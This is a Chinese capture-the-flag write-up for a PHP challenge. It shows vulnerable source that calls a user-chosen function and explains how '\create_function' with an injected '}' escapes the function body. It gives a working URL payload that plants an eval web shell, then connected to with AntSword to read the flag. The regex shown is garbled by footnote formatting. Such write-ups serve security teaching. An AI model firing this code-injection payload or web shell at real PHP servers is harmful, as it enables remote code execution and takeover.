当前位置: 首页 > article >正文

PHP-create_function

[题目信息]:

题目名称题目难度
PHP-create_function2

[题目考点]:

create_function ( string args , string args , string code )

[Flag格式]:

SangFor{wWx5dEGHHhDUwmST4bpXwfjSzq43I6cz}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2085

[题目writeup]:

1、实验主页

2、源码分析

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match(’/[1]*$/isD’, $action)) {
show_source(FILE);
} else {
$action(’’, $arg);
}

分析代码逻辑,思路还算是比较清晰,正则很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果在其他namespace里调用系统类,就必须写绝对路径这种写法。

紧接着就到了如何只控制第二个参数来执行命令的问题了,后来找到可以用create_function来完成,create_function的第一个参数是参数,第二个参数是内容。

create_function('$a,$b','return 111')

==>

function a($a, $b){
return 111;
}

然后执行,如果我们想要执行任意代码,就首先需要跳出这个函数定义。

create_function('$a,$b','return 111;}phpinfo();//')

==>

function a($a, $b){
return 111;}phpinfo();//
}

这样一来,我们想要执行的代码就会执行

/?action=\create_function&arg=1;}eval($_POST['123']);//

蚁剑连接获取flag


  1. a-z0-9_ ↩︎


http://www.kler.cn/a/563575.html

相关文章:

  • 【linux配置】 修改内核网络参数
  • Unity基础——世界坐标系(Global)和本地坐标系(Local)
  • 安装react报错
  • 003 SpringBoot集成Kafka操作
  • Spring MVC 面试题及答案整理,最新面试题
  • MySQL压缩版安装详细图解
  • 如何使用Java爬虫按关键字搜索VIP商品实践指南
  • 点云配准技术的演进与前沿探索:从传统算法到深度学习融合(2)
  • 学习笔记06——JVM调优
  • 【算法】797. 差分
  • 蓝桥杯嵌入式客观题以及解释
  • 谷歌推出PaliGemma 2 mix:用于多任务的视觉语言模型,开箱即用。
  • 计算机毕业设计SpringBoot+Vue.js民宿在线预定平台(源码+文档+PPT+讲解)
  • Docker 搭建 Gitlab 服务器 (完整详细版)
  • Nmap使用指南
  • Qt 开源音视频框架模块之QtAV播放器实践
  • 【MySQL】索引(上)
  • 【实战 ES】实战 Elasticsearch:快速上手与深度实践-1.1.2典型应用场景:日志分析、实时搜索、推荐系统
  • 【CSS】less基础(简单版)
  • vue3动态引入图片